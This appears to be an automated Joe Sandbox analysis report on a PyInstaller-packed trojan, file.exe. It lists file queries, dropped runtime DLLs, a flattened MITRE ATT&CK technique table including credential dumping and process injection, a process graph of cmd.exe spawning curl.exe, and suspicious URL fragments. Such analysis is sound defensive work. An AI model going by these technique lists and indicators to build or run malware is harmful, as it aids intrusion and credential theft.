Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-console-l1-1-0.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-datetime-l1-1-0.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-debug-l1-1-0.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-errorhandling-l1-1-0.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-fibers-l1-1-0.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-file-l2-1-0.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-handle-l1-1-0.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-libraryloader-l1-1-0.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-memory-l1-1-0.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-processthreads-l1-1-1.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\VCRUNTIME140.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\_socket.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\Users\user\Desktop\file.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399BC330 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00007FF6399BC330
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D518C _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,0_2_00007FF6399D518C
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFE14635610 _PyArg_ParseTuple_SizeT,PyEval_SaveThread,listen,PyEval_RestoreThread,_Py_NoneStruct,1_2_00007FFE14635610
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFE146345E8 PySys_Audit,PyEval_SaveThread,bind,PyEval_RestoreThread,_Py_NoneStruct,1_2_00007FFE146345E8

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
Native API		1
DLL Side-Loading		11
Process Injection		11
Process Injection		OS Credential Dumping2
System Time Discovery		Remote Services1
Archive Collected Data		1
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
DLL Side-Loading		1
Deobfuscate/Decode Files or Information		LSASS Memory21
Security Software Discovery		Remote Desktop ProtocolData from Removable Media1
Ingress Tool Transfer		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)2
Obfuscated Files or Information		Security Account Manager1
File and Directory Discovery		SMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
Timestomp		NTDS32
System Information Discovery		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
DLL Side-Loading		LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1563867 Sample: file.exe Startdate: 27/11/2024 Architecture: WINDOWS Score: 60 51 Multi AV Scanner detection for submitted file 2->51 53 Machine Learning detection for sample 2->53 55 AI detected suspicious sample 2->55 8 file.exe 52 2->8         started        process3 file4 41 C:\Users\user\AppData\...\unicodedata.pyd, PE32+ 8->41 dropped 43 C:\Users\user\AppData\Local\...\ucrtbase.dll, PE32+ 8->43 dropped 45 C:\Users\user\AppData\Local\...\select.pyd, PE32+ 8->45 dropped 47 47 other files (none is malicious) 8->47 dropped 57 Found pyInstaller with non standard icon 8->57 12 file.exe 8->12         started        signatures5 process6 process7 14 cmd.exe 1 12->14         started        16 cmd.exe 12->16         started        18 cmd.exe 12->18         started        20 9 other processes 12->20 process8 22 curl.exe 1 14->22         started        25 conhost.exe 14->25         started        27 curl.exe 1 16->27         started        29 conhost.exe 16->29         started        31 curl.exe 1 18->31         started        33 conhost.exe 18->33         started        35 curl.exe 1 20->35         started        37 curl.exe 1 20->37         started        39 16 other processes 20->39 dnsIp9 49 127.0.0.1 unknown unknown 22->49

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
file.exe34%ReversingLabsWin64.Trojan.Generic
file.exe100%Joe Sandbox ML

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\user\AppData\Local\Temp\_MEI68922\VCRUNTIME140.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\_bz2.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\_decimal.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\_hashlib.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\_lzma.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\_socket.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-console-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-datetime-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-debug-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-errorhandling-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-fibers-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-file-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-file-l1-2-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-file-l2-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-handle-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-heap-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-interlocked-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-libraryloader-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-localization-l1-2-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-memory-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-namedpipe-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-processenvironment-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-processthreads-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-processthreads-l1-1-1.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-profile-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-rtlsupport-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-string-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-synch-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-synch-l1-2-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-sysinfo-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-timezone-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-util-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-conio-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-convert-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-environment-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-filesystem-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-heap-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-locale-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-math-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-process-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-runtime-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-stdio-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-string-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-time-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-utility-l1-1-0.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\libcrypto-1_1.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\python311.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\select.pyd0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\ucrtbase.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI68922\unicodedata.pyd0%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://spvmoslv.brazilsotth.clo0%Avira URL Cloudsafe
http://spvmoslv.brazilsouth.clo0%Avira URL Cloudsafe
http://spvmoslv.brazilsotth.cloJh0%Avira URL Cloudsafe
http://spvmoslv.brazilsMUa0%Avira URL Cloudsafe
http://spvmoslv.brazils)0%Avira URL Cloudsafe
http://spvmoslv.brazils0%Avira URL Cloudsafe
http://spvmoslv.brazilsa;V%t0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688file.exe, 00000001.00000002.3015474672.00000246247D8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.1760626669.0000024624C21000.00000004.00000020.00020000.00000000.sdmpfalse
    		high
    http://spvmoslv.brazilsouth.clocurl.exe, 0000000D.00000003.1986647972.000002C391116000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1986571053.000002C391113000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2091064539.0000023561B53000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2091103305.0000023561B56000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.2825899074.000002913BBA9000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    		unknown
    http://cacerts.digicert.cofile.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpfalse
      		high
      http://spvmoslv.brazilsMUacmd.exe, 00000017.00000002.2406037996.000002495FCDB000.00000004.00000020.00020000.00000000.sdmpfalse
      • Avira URL Cloud: safe
      		unknown
      https://www.python.org/download/releases/2.3/mro/.file.exe, 00000001.00000003.1762993421.0000024624C67000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3015474672.0000024624750000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.1762436129.0000024624C66000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.drfalse
        		high
        http://spvmoslv.brazilsotth.clocurl.exe, 00000004.00000002.1778152644.0000016B7F679000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        		unknown
        https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/readerfile.exe, 00000001.00000003.1769014972.0000024622F93000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1760626669.0000024624C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1766974952.0000024622F9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1765110728.0000024622F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1764792973.0000024622F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1764029258.0000024622F9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3015317587.0000024622F36000.00000004.00000020.00020000.00000000.sdmpfalse
          		high
          http://spvmoslv.brazils)cmd.exe, 0000000B.00000002.1987434751.00000151D2B3B000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          https://www.openssl.org/Hlibcrypto-1_1.dll.0.drfalse
            		high
            http://www.iana.org/time-zones/repository/tz-link.htmlfile.exe, 00000001.00000003.1767658653.0000024624E9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1770016415.0000024624EA5000.00000004.00000020.00020000.00000000.sdmpfalse
              		high
              http://spvmoslv.brazilsa;V%tcmd.exe, 0000000E.00000002.2093847695.0000023B32ECA000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              http://www.cl.cam.ac.uk/~mgk25/iso-time.htmlfile.exe, 00000001.00000003.1767658653.0000024624E9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1770016415.0000024624EA5000.00000004.00000020.00020000.00000000.sdmpfalse
                		high
                https://peps.python.org/pep-0205/file.exe, 00000001.00000002.3015867806.0000024624D20000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.drfalse
                  		high
                  https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#file.exe, 00000001.00000003.1769014972.0000024622F93000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1760626669.0000024624C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1766974952.0000024622F9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1765110728.0000024622F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1764792973.0000024622F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1764029258.0000024622F9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3015317587.0000024622F36000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
                    https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.pyfile.exe, 00000001.00000002.3015317587.0000024622F36000.00000004.00000020.00020000.00000000.sdmpfalse
                      		high
                      http://www.phys.uu.nl/~vgent/calendar/isocalendar.htmfile.exe, 00000001.00000003.1767658653.0000024624E9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1770016415.0000024624EA5000.00000004.00000020.00020000.00000000.sdmpfalse
                        		high
                        http://spvmoslv.brazilsotth.cloJhcurl.exe, 00000004.00000002.1778152644.0000016B7F679000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_syfile.exe, 00000001.00000003.1769014972.0000024622F93000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1760626669.0000024624C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1766974952.0000024622F9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1765110728.0000024622F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1764792973.0000024622F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1764029258.0000024622F9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3015317587.0000024622F36000.00000004.00000020.00020000.00000000.sdmpfalse
                          		high
                          https://peps.python.org/pep-0263/file.exe, 00000001.00000002.3017300090.00007FFDFB4CC000.00000002.00000001.01000000.00000005.sdmp, python311.dll.0.drfalse
                            		high
                            http://spvmoslv.brazilscmd.exe, 00000014.00000002.2301125522.0000011D339BB000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2614401574.000001F6D755B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000024.00000002.2826345044.0000025479CAA000.00000004.00000020.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            https://www.python.org/psf/license/file.exe, 00000001.00000002.3017506352.00007FFDFB569000.00000004.00000001.01000000.00000005.sdmp, python311.dll.0.drfalse
                              		high

                              World Map of Contacted IPs

                              • No. of IPs < 25%
                              • 25% < No. of IPs < 50%
                              • 50% < No. of IPs < 75%
                              • 75% < No. of IPs

                              Public IPs

                              IPDomainCountryFlagASNASN NameMalicious

                              Private

                              IP
                              127.0.0.1

                              General Information

                              Joe Sandbox version:41.0.0 Charoite
                              Analysis ID:1563867
                              Start date and time:2024-11-27 15:38:04 +01:00
                              Joe Sandbox product:CloudBasic
                              Overall analysis duration:0h 8m 0s
                              Hypervisor based Inspection enabled:false
                              Report type:full
                              Cookbook file name:default.jbs
